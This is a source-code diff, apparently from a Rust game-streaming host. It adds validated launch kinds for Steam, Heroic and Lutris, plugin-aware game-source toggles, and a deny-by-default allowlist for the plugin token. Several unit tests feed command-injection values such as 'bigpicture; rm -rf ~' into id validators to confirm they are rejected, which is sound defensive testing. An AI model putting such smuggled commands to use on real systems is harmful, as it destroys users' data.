use super::custom::valid_steam_appid;
#[cfg(target_os = "linux")]
use super::heroic::heroic_command;
use super::*;
#[cfg(windows)]
use super::{epic::epic_launch_uri, gog::gog_spawn};
/// Everything a session needs about the title it is launching, resolved in **one** library scan:
/// what to run, what to call it, and how to recognize it once it is running.
@@ -84,6 +86,25 @@ fn command_for(spec: &LaunchSpec) -> Option<String> {
// Heroic: `<runner>:<appName>` → the validated heroic://launch command (see heroic_command).
#[cfg(target_os = "linux")]
"heroic" => heroic_command(&spec.value),
// A launcher entry (D4): open the Steam client itself, in Big Picture or on the desktop.
// Nested in gamescope this is the SteamOS game-mode shape.
"steam_ui" => match spec.value.as_str() {
"bigpicture" => Some("steam -gamepadui".into()),
"desktop" => Some("steam".into()),
_ => None,
},
// The other launchers' own UIs (D4). The host builds the command — a plugin only names
// which launcher — so no shell string ever crosses the wire.
#[cfg(target_os = "linux")]
"launcher_ui" => match spec.value.as_str() {
// The same resolution the `heroic` game launches use (native binary, else Flatpak), just
// without `--no-gui` and without a URI: that opens Heroic's window, which IS the tile.
"heroic" => heroic_launch_prefix(),
// Bare `lutris` opens the Lutris window; with a `lutris:rungameid/…` URI it launches a
// game instead (the `lutris_id` kind above).
"lutris" => Some("lutris".into()),
_ => None,
},
// Trusted: the command comes from the host's own custom store, never the client.
"command" => (!spec.value.trim().is_empty()).then(|| spec.value.clone()),
_ => None,
@@ -138,6 +159,21 @@ fn windows_launch_for(spec: &LaunchSpec) -> Option<(String, Option<std::path::Pa
};
Some((cmdline, None))
}
// A launcher entry (D4): open the Steam client's own UI. Same Steam.exe-then-explorer ladder
// as `steam_appid`, and the URI is one of exactly two host-owned literals — nothing from the
// entry is interpolated at all.
"steam_ui" => {
let uri = match spec.value.as_str() {
"bigpicture" => "steam://open/bigpicture",
"desktop" => "steam://open/main",
_ => return None,
};
let cmdline = match steam_exe() {
Some(exe) => format!("\"{}\" \"{uri}\"", exe.display()),
None => format!("explorer.exe \"{uri}\""),
};
Some((cmdline, None))
}
// Epic: open the (host-built, validated) com.epicgames.launcher:// URI via explorer.exe — a
// concrete EXE that resolves the registered protocol handler as the user; the URI is a single
// argv element (no shell, no cmd /c). Same pattern as the steam explorer fallback.
@@ -191,6 +227,152 @@ fn steam_exe() -> Option<std::path::PathBuf> {
None
}
// ------------------------------------------------------- per-kind launch values (host-owned ABI)
//
// Each helper below turns a store's launch VALUE — the only part a scanner (or, after extraction, a
// library plugin) supplies — into the URI/command line the host actually runs. They live here rather
// than beside the enumeration that produces the value because the host keeps owning URI construction
// and spawning no matter where the enumeration came from (D1). Every one of them is total and
// validating: an unparseable or hostile value yields `None`, never a partially-interpolated command.
/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it
/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax).
/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping
/// ([`windows_launch_for`]).
///
/// Also accepts the 64-bit non-Steam-shortcut game id ([`shortcut_gameid`]), which is likewise
/// digits — the two share the `steam_appid` kind precisely because `rungameid` takes either.
pub(crate) fn valid_steam_appid(value: &str) -> bool {
!value.is_empty() && value.bytes().all(|b| b.is_ascii_digit())
}
/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the
/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the
/// bare 32-bit appid does not launch a shortcut — it must be this composed id.)
pub(crate) fn shortcut_gameid(appid: u32) -> u64 {
((appid as u64) << 32) | 0x0200_0000
}
/// The `steam_ui` launch values (D4) — which Steam UI a launcher entry opens. A closed two-value
/// enum, validated on the way IN (the reconcile payload) as well as on the way out, so an entry can
/// never carry a third value that silently resolves to nothing at launch time.
pub(crate) fn valid_steam_ui(value: &str) -> bool {
matches!(value, "bigpicture" | "desktop")
}
/// The launcher UIs **this host** can open, as `launcher_ui` values (D4).
///
/// One kind for every launcher but Steam, rather than one kind each: they all have exactly a single
/// UI to open, so the value is just which launcher. Steam keeps its own [`valid_steam_ui`] kind
/// because it has two (Big Picture and the desktop client), which is a genuinely different choice.
///
/// Platform-gated, because a value naming a launcher this OS cannot run is not a tile that merely
/// looks odd — it is one that fails at launch. Validated inbound too, so a plugin gets a 400 it can
/// act on instead of publishing a dead entry.
///
/// **Why a typed kind at all**, when design D4 originally said non-Steam launchers would ride the
/// `command` kind: the 2026-08-05 review made `launch.kind = "command"` operator-only (it is handed
/// to a shell), so a plugin publishing one is refused. A typed kind keeps D1's rule intact — the
/// plugin supplies a validated *value*, the host builds the command — and is the only way a scanner
/// plugin can offer a launcher tile at all.
fn launcher_ui_stores() -> &'static [&'static str] {
#[cfg(target_os = "linux")]
{
&["heroic", "lutris"]
}
// Windows launchers (Epic, GOG Galaxy, the Xbox app) are not wired yet — each needs its own
// verified activation, and an unverified guess would ship a tile that does nothing.
#[cfg(not(target_os = "linux"))]
{
&[]
}
}
/// Is this a `launcher_ui` value this host can resolve?
pub(crate) fn valid_launcher_ui(value: &str) -> bool {
launcher_ui_stores().contains(&value)
}
/// Map a `heroic` LaunchSpec value (`<runner>:<appName>`) to the Heroic launch command, run nested in
/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a
/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which
/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY
/// running on the box, the spawned process forwards the URI and exits, which would tear the session
/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic.
#[cfg(target_os = "linux")]
pub(crate) fn heroic_command(value: &str) -> Option<String> {
let (runner, app) = value.split_once(':')?;
if !matches!(runner, "legendary" | "gog" | "nile") {
return None;
}
// appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token.
if app.is_empty()
|| !app
.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
{
return None;
}
let prefix = heroic_launch_prefix()?;
// No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName
// is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed).
Some(format!(
"{prefix} --no-gui heroic://launch?appName={app}&runner={runner}"
))
}
/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data
/// root is present. `None` ⇒ Heroic not found, so no launch command.
#[cfg(target_os = "linux")]
fn heroic_launch_prefix() -> Option<String> {
let on_path = std::env::var_os("PATH")
.is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file()));
if on_path {
return Some("heroic".into());
}
let flatpak = std::env::var_os("HOME")
.map(PathBuf::from)
.is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir());
flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into())
}
/// Map an `epic` LaunchSpec value to the Epic Games Launcher URI. The value is either the full
/// `<namespace>:<catalogItemId>:<appName>` triple (what the manifests carry) or a bare `appName`;
/// every part is charset-checked so the URI stays one safe argv token.
#[cfg(windows)]
pub(crate) fn epic_launch_uri(value: &str) -> Option<String> {
let ok = |s: &str| {
!s.is_empty()
&& s.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
};
let inner = match value.split(':').collect::<Vec<_>>().as_slice() {
[ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"),
[app] if ok(app) => (*app).to_string(),
_ => return None,
};
Some(format!(
"com.epicgames.launcher://apps/{inner}?action=launch&silent=true"
))
}
/// Map a `gog` LaunchSpec value — the tab-separated `exe \t args \t workdir` spawn triple the scanner
/// derived from `goggame-<id>.info` — to a `(command line, working dir)`. GOG games are spawned
/// directly (no Galaxy), so the exe is quoted and the arguments ride verbatim.
#[cfg(windows)]
pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option<PathBuf>)> {
let mut parts = value.split('\t');
let exe = parts.next().filter(|s| !s.is_empty())?;
let args = parts.next().unwrap_or("");
let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from);
let cmdline = if args.trim().is_empty() {
format!("\"{exe}\"")
} else {
format!("\"{exe}\" {args}")
};
Some((cmdline, workdir))
}
/// Launch a GameStream `apps.json` command (operator-typed, trusted — never client-set) into the
/// interactive Windows user session, AFTER capture is up (the host is SYSTEM). The Linux paths go
/// through the compositor-aware [`launch_session_command`] instead.
@@ -360,6 +542,145 @@ mod tests {
}
}
/// The `steam_ui` launcher kind (D4): a closed two-value enum, mapped to the Steam client's own
/// UI on each OS. Nothing from the entry is interpolated — the value only SELECTS between two
/// host-owned literals — so there is no injection surface at all here.
#[test]
fn steam_ui_is_a_closed_two_value_enum() {
assert!(valid_steam_ui("bigpicture"));
assert!(valid_steam_ui("desktop"));
assert!(!valid_steam_ui("gamepadui"));
assert!(!valid_steam_ui(""));
assert!(!valid_steam_ui("bigpicture; rm -rf ~"));
}
/// The `launcher_ui` kind exists because D4's original plan — non-Steam launchers riding the
/// `command` kind — stopped being available to plugins when the 2026-08-05 review made
/// `command` operator-only. A plugin names a launcher; the host builds the command.
#[test]
fn launcher_ui_accepts_only_launchers_this_host_can_open() {
#[cfg(target_os = "linux")]
{
assert!(valid_launcher_ui("heroic"));
assert!(valid_launcher_ui("lutris"));
// Not wired on this OS — refused inbound rather than becoming a tile that does nothing.
assert!(!valid_launcher_ui("gog"));
}
#[cfg(not(target_os = "linux"))]
{
// No Windows/macOS launcher UIs are wired yet, so every value is refused.
assert!(!valid_launcher_ui("heroic"));
assert!(!valid_launcher_ui("gog"));
}
assert!(!valid_launcher_ui(""));
assert!(!valid_launcher_ui("lutris; rm -rf ~"));
}
#[cfg(target_os = "linux")]
#[test]
fn launcher_ui_opens_the_launcher_itself() {
let ui = |v: &str| {
command_for(&LaunchSpec {
kind: "launcher_ui".into(),
value: v.into(),
})
};
// Bare `lutris` opens the window; the URI form is the `lutris_id` kind and launches a game.
assert_eq!(ui("lutris").as_deref(), Some("lutris"));
assert!(!ui("lutris").unwrap().contains("rungameid"));
// Heroic resolves the same way its game launches do, but with no `--no-gui` and no URI — so
// the window IS what opens. `None` on a box without Heroic, which is a correct answer.
if let Some(cmd) = ui("heroic") {
assert!(!cmd.contains("--no-gui"), "the GUI is the point: {cmd:?}");
assert!(!cmd.contains("heroic://"), "no game URI: {cmd:?}");
}
assert_eq!(ui("nonsense"), None);
assert_eq!(ui(""), None);
}
#[cfg(not(windows))]
#[test]
fn steam_ui_resolves_to_the_client_ui_on_linux() {
let ui = |v: &str| {
command_for(&LaunchSpec {
kind: "steam_ui".into(),
value: v.into(),
})
};
// Big Picture is the SteamOS game-mode shape; nested in gamescope this is what `--steam`
// integration is built around.
assert_eq!(ui("bigpicture").as_deref(), Some("steam -gamepadui"));
assert_eq!(ui("desktop").as_deref(), Some("steam"));
assert_eq!(ui("nonsense"), None);
assert_eq!(ui(""), None);
}
#[cfg(windows)]
#[test]
fn steam_ui_resolves_to_the_client_ui_on_windows() {
let ui = |v: &str| {
windows_launch_for(&LaunchSpec {
kind: "steam_ui".into(),
value: v.into(),
})
};
let (bp, wd) = ui("bigpicture").expect("bigpicture recipe");
assert!(bp.contains("steam://open/bigpicture"), "line was {bp:?}");
assert!(wd.is_none());
let (desk, _) = ui("desktop").expect("desktop recipe");
assert!(desk.contains("steam://open/main"), "line was {desk:?}");
assert!(ui("nonsense").is_none());
assert!(ui("").is_none());
}
#[test]
fn steam_appid_validation_accepts_appids_and_shortcut_gameids() {
assert!(valid_steam_appid("570"));
// The 64-bit shortcut game id shares the `steam_appid` kind — `rungameid` takes either.
assert!(valid_steam_appid(
&shortcut_gameid(2_456_789_012).to_string()
));
assert!(!valid_steam_appid(""));
assert!(!valid_steam_appid("570; rm -rf ~"));
assert!(!valid_steam_appid("-1"));
}
/// Moved here with `shortcut_gameid` (WP1.1): the composed id is launch vocabulary, not
/// enumeration — the scanner only supplies the 32-bit appid it read out of `shortcuts.vdf`.
#[test]
fn shortcut_gameid_composes_appid_and_marker() {
let id = shortcut_gameid(0x8000_0000);
assert_eq!(id >> 32, 0x8000_0000, "high dword is the shortcut appid");
assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000, "low dword is the marker");
}
#[cfg(windows)]
#[test]
fn epic_launch_uri_triple_bare_and_guard() {
assert_eq!(
epic_launch_uri("fn:abc:Fortnite").as_deref(),
Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true")
);
assert_eq!(
epic_launch_uri("Fortnite").as_deref(),
Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true")
);
assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected
assert!(epic_launch_uri("").is_none());
}
#[cfg(windows)]
#[test]
fn gog_spawn_parses_and_guards() {
let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap();
assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip");
assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3")));
let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap();
assert_eq!(cmd2, "\"C:\\g.exe\"");
assert!(wd2.is_none());
assert!(gog_spawn("").is_none());
}
#[cfg(windows)]
#[test]
fn windows_launch_for_maps_and_guards() {
@@ -84,6 +84,7 @@ fn lutris_games(db: &Path) -> rusqlite::Result<Vec<GameEntry>> {
for (id, slug, name, directory) in rows.flatten() {
games.push(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("lutris:{id}"),
store: "lutris".into(),
+103 -14
View File
@@ -12,19 +12,41 @@
use super::*;
/// One installed-store scanner this host build supports, with its enable state — the unit the
/// console renders a toggle for. The list is platform-gated at compile time (the scanners are),
/// so the console never shows a toggle that cannot do anything on this host.
/// One **game source** on this host, with its enable state — the unit the console renders a toggle
/// for. A source is either a scanner compiled into this build or a plugin that reconciles entries in
/// (WP2.6); the console treats them identically, which is what makes the extraction invisible.
#[derive(Clone, Debug, Serialize, ToSchema)]
pub struct ScannerInfo {
/// Stable scanner id — the same string the scanner's entries carry in their `store` field.
/// Stable source id — the same string this source's entries carry in their `store` field. For a
/// plugin source it is also its provider id and its store claim: one string, by construction, so
/// a user's disabled state survives a built-in scanner being replaced by its plugin.
#[schema(example = "steam")]
pub id: String,
/// Human-facing name for the console toggle.
#[schema(example = "Steam")]
pub label: String,
/// Whether this host runs the scanner (default true).
/// Whether this host runs the source (default true).
pub enabled: bool,
/// Where the source comes from: `builtin` (a scanner in this host build) or `plugin`.
#[schema(example = "builtin")]
pub origin: SourceOrigin,
/// The provider id backing a `plugin` source — absent for a built-in scanner.
#[serde(skip_serializing_if = "Option::is_none")]
pub provider: Option<String>,
/// How many entries this source currently contributes. `None` for a built-in scanner, whose
/// count would mean walking every launcher's files just to render a toggle.
#[serde(skip_serializing_if = "Option::is_none")]
pub entries: Option<usize>,
}
/// Where a [`ScannerInfo`] comes from.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, ToSchema)]
#[serde(rename_all = "lowercase")]
pub enum SourceOrigin {
/// A scanner compiled into this host build.
Builtin,
/// A plugin reconciling entries over the provider API.
Plugin,
}
/// The scanners compiled into THIS host build: (id, label). Steam is cross-platform; the rest are
@@ -87,26 +109,93 @@ pub(crate) fn disabled_scanners() -> HashSet<String> {
load_settings().disabled.into_iter().collect()
}
/// The scanners available on this platform with their current enable state, in the fixed
/// definition order (stable for the console).
/// Every game source on this host with its current enable state (WP2.6):
///
/// 1. the built-in scanners this build compiled in, **minus** any whose store a plugin has claimed
/// (the plugin replaces it, so showing both would offer two toggles for one thing);
/// 2. the claimed stores themselves, as plugin sources;
/// 3. any other provider that has entries — the *emergent* case (rom-manager, playnite), which has
/// never had a toggle before and gets one for free here.
///
/// Built-ins keep their fixed definition order (stable for the console); plugin sources follow,
/// sorted by id.
pub fn list_scanners() -> Vec<ScannerInfo> {
let off = disabled_scanners();
scanner_defs()
let claims = crate::library::claimed_stores();
let entries = crate::library::load_custom();
let mut out: Vec<ScannerInfo> = scanner_defs()
.into_iter()
.filter(|(id, _)| !claims.contains_key(*id))
.map(|(id, label)| ScannerInfo {
id: id.to_string(),
label: label.to_string(),
enabled: !off.contains(id),
origin: SourceOrigin::Builtin,
provider: None,
entries: None,
})
.collect()
.collect();
// A claimed store shows under the SCANNER's label where we know one, so the row a user has been
// toggling for releases doesn't rename itself out from under them mid-migration.
let label_for = |id: &str| {
scanner_defs()
.into_iter()
.find(|(sid, _)| *sid == id)
.map(|(_, label)| label.to_string())
.unwrap_or_else(|| id.to_string())
};
let mut plugin_ids: Vec<(String, String)> = claims
.iter()
.map(|(store, provider)| (store.clone(), provider.clone()))
.collect();
// Emergent providers: any provider with entries that isn't already listed via a claim.
for e in &entries {
let Some(provider) = e.provider.as_deref() else {
continue;
};
if e.store.is_none() && !plugin_ids.iter().any(|(id, _)| id == provider) {
plugin_ids.push((provider.to_string(), provider.to_string()));
}
}
plugin_ids.sort();
plugin_ids.dedup();
out.extend(plugin_ids.into_iter().map(|(id, provider)| {
let count = entries
.iter()
.filter(|e| crate::library::source_id_for(e) == Some(id.as_str()))
.count();
ScannerInfo {
label: label_for(&id),
enabled: !off.contains(&id),
origin: SourceOrigin::Plugin,
provider: Some(provider),
entries: Some(count),
id,
}
}));
out
}
/// Enable/disable one scanner. `None` when `id` names no scanner available on this platform (the
/// mgmt layer maps that to 404 — the console only ever sees this host's own list). Persists and
/// emits `library.changed` (source = the scanner id) only when the state actually changed, so a
/// repeated PUT is a cheap no-op.
/// Whether `id` names a source that exists on this host right now — a compiled-in scanner, a claimed
/// store, or a provider with entries. The toggle accepts exactly these (an unknown id still 404s).
fn is_known_source(id: &str) -> bool {
scanner_defs().iter().any(|(sid, _)| *sid == id) || list_scanners().iter().any(|s| s.id == id)
}
/// Enable/disable one source. `None` when `id` names no source on this host (the mgmt layer maps
/// that to 404 — the console only ever sees this host's own list). Persists and emits
/// `library.changed` (source = the id) only when the state actually changed, so a repeated PUT is a
/// cheap no-op.
///
/// The **same** `library-scanners.json` disabled-set backs built-in and plugin sources alike, and
/// the ids match by construction — so a user who disabled `steam` before the migration still has it
/// disabled after the steam plugin claims the store, with nothing to carry over.
pub fn set_scanner_enabled(id: &str, enabled: bool) -> Result<Option<Vec<ScannerInfo>>> {
if !scanner_defs().iter().any(|(sid, _)| *sid == id) {
if !is_known_source(id) {
return Ok(None);
}
let mut settings = load_settings();
+5 -12
View File
@@ -29,6 +29,7 @@ impl LibraryProvider for SteamProvider {
.filter(|app| !is_steam_tool(app.appid, &app.name))
.map(|app| GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("steam:{}", app.appid),
store: "steam".into(),
@@ -383,6 +384,7 @@ fn shortcut_entry(sc: Shortcut) -> Option<GameEntry> {
}
Some(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("steam:{}", sc.appid),
store: "steam".into(),
@@ -426,12 +428,8 @@ fn shortcuts_files() -> Vec<PathBuf> {
files
}
/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the
/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the
/// bare 32-bit appid does not launch a shortcut — it must be this composed id.)
fn shortcut_gameid(appid: u32) -> u64 {
((appid as u64) << 32) | 0x0200_0000
}
// `shortcut_gameid` (the 64-bit `rungameid` composition) moved to `launch.rs` (WP1.1) — it is launch
// vocabulary; this module only reads the 32-bit appid out of `shortcuts.vdf`.
/// The 32-bit appid Steam derives for a shortcut from its target+name — `crc32(exe + name)` with the
/// high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern
@@ -762,12 +760,7 @@ mod tests {
assert!(launch.value.bytes().all(|b| b.is_ascii_digit()));
}
#[test]
fn shortcut_gameid_composes_appid_and_marker() {
let id = shortcut_gameid(0x8000_0000);
assert_eq!(id >> 32, 0x8000_0000); // high dword is the appid
assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000); // low dword is the shortcut marker
}
// `shortcut_gameid_composes_appid_and_marker` moved with the function to `launch.rs` (WP1.1).
#[test]
fn crc32_matches_the_known_check_value_and_derives_a_high_bit_appid() {
@@ -70,6 +70,7 @@ fn xbox_games() -> Vec<GameEntry> {
let art = cached_art(&id).unwrap_or_default();
games.push(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id,
store: "xbox".into(),
+14 -1
View File
@@ -618,6 +618,10 @@ fn real_main() -> Result<()> {
// hold it, driving the real *WindowsManager end to end. `--index N`, `--seconds N`.
#[cfg(target_os = "windows")]
Some("dualsense-windows-test") => devtest::dualsense_windows_test(&args),
// Windows: pad-audio endpoint provisioning (`ensure`/`status`) + the pnputil removal
// escape hatch (`remove`). `--index N` selects the pad slot (default 0).
#[cfg(target_os = "windows")]
Some("pad-endpoint") => devtest::pad_endpoint(&args),
// Capture→encode→file pipeline spike (dev tool).
Some("spike") => spike::run(parse_spike(&args[1..])?),
// Native punktfunk/1 host (QUIC control plane + UDP data plane).
@@ -792,7 +796,16 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b
// The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the
// admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin
// surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access).
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
//
// Only when a runner is actually installed. It used to be minted unconditionally on every
// `serve`, so a host with no plugins — the common case — still persisted a second
// admin-adjacent credential to disk and kept a second authentication lane live for a
// subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on
// the next start, and an existing plugin-token file is picked up unchanged, so nothing about
// the plugin flow changes for a host that has one.
if crate::plugins::runtime_status().installed {
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
}
// Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can
// fetch the game library over mTLS with no operator step — the whole point of "browse works by
// default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface
+143 -30
View File
@@ -17,6 +17,42 @@ use axum::http::Method;
use axum::middleware::Next;
use sha2::{Digest, Sha256};
/// **Which credential authorized this request**, attached to the request extensions by
/// [`require_auth`] on every request it forwards.
///
/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set
/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has
/// every business calling — the library reconcile is the case that matters: a provider plugin owns
/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user
/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds.
/// Route-level authorization cannot express that; a handler holding this can (see
/// [`crate::library::reject_privileged_fields`]).
///
/// Extracted by handlers as `Extension<AuthLane>`. A missing extension is a 500, not a default —
/// a router that forgot the middleware must fail closed, never silently grant admin.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub(crate) enum AuthLane {
/// The operator's admin bearer token (loopback): everything, including the privileged fields.
Admin,
/// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and
/// never the operator-privileged fields inside them.
Plugin,
/// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set.
Cert,
/// An always-open route (`/health`) or the loopback-only tray summary — no credential at all.
Public,
}
impl AuthLane {
/// Whether this lane may set fields that become command execution as the host user. Only the
/// operator's own token may: the console is the surface where the operator types a command, and
/// typing it there is the trust decision. Everything else is refused, including a paired cert
/// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows).
pub(crate) fn may_set_privileged_fields(self) -> bool {
matches!(self, AuthLane::Admin)
}
}
/// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token
/// (from a **loopback** peer only) — required always (the host runs with a token by construction).
/// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only
@@ -28,8 +64,15 @@ pub(crate) async fn require_auth(
req: Request,
next: Next,
) -> Response {
/// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can
/// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]).
async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response {
req.extensions_mut().insert(lane);
next.run(req).await
}
if req.uri().path() == "/api/v1/health" {
return next.run(req).await; // liveness probe is always open
return forward(req, next, AuthLane::Public).await; // liveness probe is always open
}
// The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but
// confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators-
@@ -43,7 +86,7 @@ pub(crate) async fn require_auth(
.get::<PeerAddr>()
.is_none_or(|a| a.0.ip().is_loopback());
return if from_loopback {
next.run(req).await
forward(req, next, AuthLane::Public).await
} else {
api_error(
StatusCode::UNAUTHORIZED,
@@ -61,7 +104,7 @@ pub(crate) async fn require_auth(
if cert_may_access(req.method(), req.uri().path())
&& st.native.as_ref().is_some_and(|n| n.is_paired(fp))
{
return next.run(req).await;
return forward(req, next, AuthLane::Cert).await;
}
}
// Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer.
@@ -92,7 +135,7 @@ pub(crate) async fn require_auth(
.and_then(|v| v.to_str().ok())
.and_then(|v| v.strip_prefix("Bearer "));
match presented {
Some(token) if token_eq(token, expected) => next.run(req).await,
Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await,
// The scripting runner's scoped lane: same loopback confinement as the admin token, but
// routes that would let a plugin escalate — registering hooks (arbitrary command
// execution as the host user) or administering pairing (admitting/ejecting devices,
@@ -105,7 +148,7 @@ pub(crate) async fn require_auth(
.is_some_and(|pt| token_eq(token, pt)) =>
{
if plugin_may_access(req.method(), req.uri().path()) {
next.run(req).await
forward(req, next, AuthLane::Plugin).await
} else {
api_error(
StatusCode::FORBIDDEN,
@@ -121,9 +164,18 @@ pub(crate) async fn require_auth(
}
}
/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the
/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives
/// sessions, and registers its UI lease), with these carve-outs:
/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a
/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in
/// `mgmt::tests` fails the build otherwise).
///
/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05
/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited
/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks`
/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system
/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default;
/// this one now is too.
///
/// What stays *out* of the list, and why:
/// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary
/// command execution as the host user, and reading it can expose webhook credentials.
/// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide
@@ -133,29 +185,90 @@ pub(crate) async fn require_auth(
/// secret; only the console proxy (admin token) needs it.
/// - **the plugin store** — installing a plugin is running new code with operator privileges, and a
/// plugin that can do that is a persistence/escalation primitive: it could install a helper that
/// isn't constrained the way it is, or switch the runner's own service state. Denied wholesale
/// (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and
/// a whole-prefix deny can't be defeated by a route added later).
/// isn't constrained the way it is, or switch the runner's own service state.
/// - **the update surface** — operator business end to end (`apply` runs an installer / the root
/// helper).
///
/// The library *writes* below are on the list because a provider plugin's whole job is reconciling
/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and
/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route
/// reachability and field authority are separate questions and this gate only answers the first.
pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool {
let denied = path == "/api/v1/hooks"
|| path == "/api/v1/store"
|| path.starts_with("/api/v1/store/")
|| path == "/api/v1/pair"
|| path.starts_with("/api/v1/pair/")
|| path == "/api/v1/native/pair"
|| path.starts_with("/api/v1/native/pair/")
|| path == "/api/v1/native/pending"
|| path.starts_with("/api/v1/native/pending/")
|| (method == Method::DELETE
&& (path.starts_with("/api/v1/clients/")
|| path.starts_with("/api/v1/native/clients/")))
|| (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential"))
// The update surface is operator business end to end: today it is only a check, but
// the same prefix will carry `apply` (running an installer / the root helper), and a
// whole-prefix deny can't be defeated by a route added later.
|| path == "/api/v1/update"
|| path.starts_with("/api/v1/update/");
!denied
// (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is.
const ALLOWED: &[(&Method, &str)] = &[
// Host / status reads.
(&Method::GET, "/api/v1/health"),
(&Method::GET, "/api/v1/host"),
(&Method::GET, "/api/v1/status"),
(&Method::GET, "/api/v1/local/summary"),
(&Method::GET, "/api/v1/compositors"),
(&Method::GET, "/api/v1/events"),
(&Method::GET, "/api/v1/logs"),
// The paired-device rosters: read-only. (DELETE is pairing administration — not listed.)
(&Method::GET, "/api/v1/clients"),
(&Method::GET, "/api/v1/native/clients"),
// GPU + display control: host configuration a plugin may legitimately steer (a room
// automation plugin swaps the layout with the lights); no privilege boundary crossed.
(&Method::GET, "/api/v1/gpus"),
(&Method::PUT, "/api/v1/gpus/preference"),
(&Method::GET, "/api/v1/display/settings"),
(&Method::PUT, "/api/v1/display/settings"),
(&Method::GET, "/api/v1/display/state"),
(&Method::GET, "/api/v1/display/monitors"),
(&Method::PUT, "/api/v1/display/layout"),
(&Method::POST, "/api/v1/display/release"),
(&Method::GET, "/api/v1/display/presets"),
(&Method::POST, "/api/v1/display/presets"),
(&Method::PUT, "/api/v1/display/presets/{}"),
(&Method::DELETE, "/api/v1/display/presets/{}"),
// Session control: stopping/steering a session is what a launcher plugin exists to do.
